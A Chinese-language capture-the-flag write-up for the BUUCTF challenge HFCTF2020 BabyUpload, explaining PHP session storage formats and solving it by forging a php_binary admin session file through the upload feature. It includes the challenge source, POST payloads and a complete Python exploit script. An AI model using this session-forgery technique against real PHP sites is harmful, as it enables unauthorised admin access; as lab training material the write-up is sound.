考点
- 考点:php_binary引擎下的session伪造;
知识点
- php_binary存储方式:键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值;
Ascii字符+usernames:5:"admin";
- php存储方式:键名+竖线+经过serialize()函数序列处理的值;
username|s:5:"admin";
- php_serialize(php>5.5.4)存储方式是:经过serialize()函数序列化处理的值;
a:1:{s:8:"username";s:5:"admin";}
代码分析
- 打开发现源码;
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
- 设置session存储路径并在根目录下包含flag;
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
- 判断如果
username===admin
就检查/var/babyctf/
目录下是否存在success.txt
,存在的话就删除并输出flag;
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
- 设置两个post参数
direction
和attr
,然后$dir_path
0拼接路径,若$attr===private
,就在$dir_path
路径的基础上再拼接一个username的值;
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
- 判断如果
direction===upload
,首先判断是否正常上传,通过则在$dir_path
下拼接文件名,之后再拼接一个_
,同时加上文件名的sha256
值,再限制目录穿越,创建并把文件上传到相应目录下;
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
- 若不符合前面则让
direction===download
,读取上传上来的文件名,拼接为$file_path
,继续限制目录穿越,再判断文件是否存在,存在则返回文件内容;
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
解题思路
- 分析完代码发现,要输出flag,需要满足以下两点;
条件一:
$_SESSION[‘username’] ==='admin'
——>username的值为admin;
条件二:$filename='/var/babyctf/success.txt'
——>/var/babyctf/目录下存在success.txt文件;
方法一
- php的session默认存储文件名是sess_+PHPSESSID的值,F12查看当前的session值;
- 让direction的值为download输出文件内容以判断session的存储方式,attr可以不传值,所以post构造
direction=download&attr=&filename=sess_e23e2acf67067810bbe7c7595368ee00
;
- 查看结果发现是正是
php_binary
存储方式,接下来伪造admin的session值;
附上脚本:
<?php
ini_set('session.serialize_handler', 'php_binary'); //设置存储方式为php_binary;
session_save_path("D:\\phpstudy_pro\\WWW\\getsession\\"); //设置session文件保存路径
session_start();
$_SESSION['username'] = 'admin';
?>
- 对文件名进行
sha256
计算,将文件名改为sess方便计算;
结果: 432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
- 所以服务器存储为
sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
,抓包查看访问结果;
这样session伪造就成功了,接下来上传success.txt,已知$filename
由file_exists函数检查文件或者目录是否存在,可将attr
设置为success.txt
创建目录,再上传到该目录下即可绕过判断;
- 修改PHPSESSID为
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
;
- 给
attr
传参为success.txt;
Payload:
direction=download&attr=success.txt&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
方法二
- 直接使用脚本,脚本如下;
import requests
import hashlib
# url需要修改为自己的靶场url
url = 'http://8ae461e5-88fb-4d46-b3b9-dc4a3fbaf063.node4.buuoj.cn:81/'
# 上传伪造的session文件
files = {"up_file": ("sess", b'\x08usernames:5:"admin";')}
data = {
'direction': 'upload',
'attr': ''
}
req = requests.post(url, data=data, files=files)
# 获取session_id
session_id = hashlib.sha256(b'\x08usernames:5:"admin";').hexdigest()
# 在/var/babyctf/下创建success.txt目录
data1 = {
'attr': 'success.txt',
'direction': 'upload'
}
req1 = requests.post(url=url, data=data1, files=files)
# 通过伪造的session文件解析,获取flag
cookie = {
'PHPSESSID': session_id
}
flag = requests.get(url, cookies=cookie)
print(flag.text)
- 运行脚本获取flag;
以上内容就是BUUCTF--> [HFCTF2020]BabyUpload 1
的解题思路,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!